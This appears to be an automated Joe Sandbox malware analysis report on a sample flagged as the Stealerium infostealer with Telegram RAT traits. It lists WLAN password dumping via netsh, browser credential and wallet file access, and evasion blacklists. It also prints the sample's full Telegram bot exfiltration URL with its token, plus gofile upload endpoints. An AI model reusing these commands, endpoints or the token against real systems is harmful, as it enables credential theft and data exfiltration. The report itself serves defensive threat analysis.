Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 4C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets2Mt
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: yv7QsAR49V.exe, type: SAMPLE
Source: Yara match	File source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealerium

Source: Yara match	File source: yv7QsAR49V.exe, type: SAMPLE
Source: Yara match	File source: 0.2.yv7QsAR49V.exe.24a4591b838.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yv7QsAR49V.exe.24a4591b838.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45C6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH.zip, type: DROPPED

Yara detected Telegram RAT

Source: Yara match	File source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	2 Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	1 Software Packing	1 Input Capture	124 System Information Discovery	Remote Desktop Protocol	1 Screen Capture	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Timestomp	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	241 Security Software Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
yv7QsAR49V.exe	65%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
yv7QsAR49V.exe	100%	Avira	TR/AVI.Stealerium.xehvk
yv7QsAR49V.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://szurubooru.zulipchat.com/api/v1/messages	0%	Avira URL Cloud	safe
http://szurubooru.zulipchat.com	0%	Avira URL Cloud	safe
https://szurubooru.zulipchat.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
szurubooru.zulipchat.com	44.208.10.127	true	true	unknown
raw.githubusercontent.com	185.199.108.133	true	false	high
api.telegram.org	149.154.167.220	true	false	high
api.gofile.io	45.112.123.126	true	false	high
store5.gofile.io	31.14.70.244	true	false	high
icanhazip.com	104.16.184.241	true	false	high
246.229.1.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://icanhazip.com/	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt	false		high
https://szurubooru.zulipchat.com/api/v1/messages	true	Avira URL Cloud: safe	unknown
https://api.gofile.io/servers	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/ip_list.txt	false		high
https://store5.gofile.io/uploadfile	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/processes_list.txt	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/gpu_list.txt	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/services_list.txt	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/MachineGuid.txt	false		high
https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/getMe	false		high
https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549067482&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.5.1%20-%20Report%3A%2A%0ADate%3A%202024-11-29%206%3A18%3A31%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20124406%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20NVR6G%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Startup%20disabled%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Clipper%20not%20installed%0A%20%20%20%E2%88%9F%20%E2%9B%94%EF%B8%8F%20Keylogger%20not%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FqxyGTh%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%227c6288d908c36e92faae14c9d19be639%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://duckduckgo.com/ac/?q=	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://github.com/dotnet/runtime8	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45761000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A4575A000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gofile.io/d/qxyGTh	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp, Stealerium-Latest.log.0.dr	false		high
https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage?chat_id=-4549	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.P9ZDdyXKOWl2	tmpD0DC.tmp.dat.0.dr	false		high
https://www.newtonsoft.com/json	yv7QsAR49V.exe, 00000000.00000002.2622100037.0000024A5E16D000.00000004.00000020.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://api.gofile.io/	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/runtime	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/	yv7QsAR49V.exe	false		high
https://store5.gofile.io/(	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/dotnet-warnings/	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://aka.ms/serializationformat-binary-obsolete	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/binaryformatter	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/icsharpcode/SharpZipLib/33f64eb0f28cdd2b084cb822fcc224c7c5aba553/	yv7QsAR49V.exe, 00000000.00000002.2624199057.0000024A5E5AD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store5.gofile.io	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.gofile.io	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/JamesNK/Newtonsoft.Json	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	false		high
https://api.gofile.io	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://github.com/kgnfth	yv7QsAR49V.exe	false		high
https://github.com/icsharpcode/SharpZipLib	yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://www.ecosia.org/newtab/	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
http://szurubooru.zulipchat.com	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A89000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmpD0DC.tmp.dat.0.dr	false		high
https://api.telegram.org/bot7392736411:AAHVxAQAPdF2QLjSPGIcPPJHT3uoJnmmeOM/sendMessage	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high
https://szurubooru.zulipchat.com	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A70000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45701000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gofile.io/d/qxyGTh)	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A7A000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A18000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	false		high
https://store5.gofile.io	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	tmpD0DC.tmp.dat.0.dr	false		high
http://api.telegram.org	yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458D9000.00000004.00000800.00020000.00000000.sdmp, yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A45A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpA382.tmp.dat.0.dr, tmpADBC.tmp.dat.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
44.208.10.127	szurubooru.zulipchat.com	United States	14618	AMAZON-AESUS	true
104.16.184.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
45.112.123.126	api.gofile.io	Singapore	16509	AMAZON-02US	false
31.14.70.244	store5.gofile.io	Virgin Islands (BRITISH)	199483	LINKER-ASFR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565203
Start date and time:	2024-11-29 12:17:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yv7QsAR49V.exe renamed because original name is a hash value
Original Sample Name:	0adf1cfd118c89091ddd89493989c01348ad74ee8e25c71f4a30c3400e511102.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@27/108@9/6
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target yv7QsAR49V.exe, PID 7052 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: yv7QsAR49V.exe

Simulations

Behavior and APIs

Time	Type	Description
06:18:32	API Interceptor	226x Sleep call for process: yv7QsAR49V.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse
	nYkkZZbAIR.exe	Get hash	malicious	Stealerium	Browse
	MICROCHIP QFP3 22 - 25000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	AWB8674109965.html	Get hash	malicious	HTMLPhisher	Browse
	INQUIRY_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	RECEIPT DATED 28.11.2024,pdf.exe	Get hash	malicious	Snake Keylogger	Browse
104.16.184.241	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	icanhazip.com/
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	icanhazip.com/
	9fGsCDYKLV.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	file.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	vbe11TPn2x.exe	Get hash	malicious	Flesh Stealer	Browse	icanhazip.com/
	zufmUwylvo.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse	icanhazip.com/
	gGcpYEOr8U.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	GsZkXAmf61.exe	Get hash	malicious	Celestial Rat	Browse	icanhazip.com/
	mitec_purchase_order_PDF (1).vbs	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	Purchase Order.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
szurubooru.zulipchat.com	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	52.20.41.38
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	3.210.246.148
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	50.17.0.11
raw.githubusercontent.com	cY6HT7CeBF.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133
	LBswoftSFF.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	3lpDhNtVKt.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	dAkpFjNw3j.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Q99RpE5n5f.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	KaLWoqEX0y.exe	Get hash	malicious	Stealerium	Browse	185.199.109.133
	wqK2m8VmyD.exe	Get hash	malicious	CryptOne, Mofksys	Browse	185.199.109.133
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	185.199.108.133
	Q99RpE5n5f.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.111.133
api.telegram.org	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	149.154.167.220
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	149.154.167.220
	nYkkZZbAIR.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	MICROCHIP QFP3 22 - 25000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	AWB8674109965.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	INQUIRY_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RECEIPT DATED 28.11.2024,pdf.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	8FloezlGW7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	149.154.167.220
	jpiWvvEcbp.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	5E3zWXveDN.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	LKxcbzlwkz.exe	Get hash	malicious	AveMaria, KeyLogger, Stealerium	Browse	149.154.167.220
	nYkkZZbAIR.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	MICROCHIP QFP3 22 - 25000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	149.154.167.99
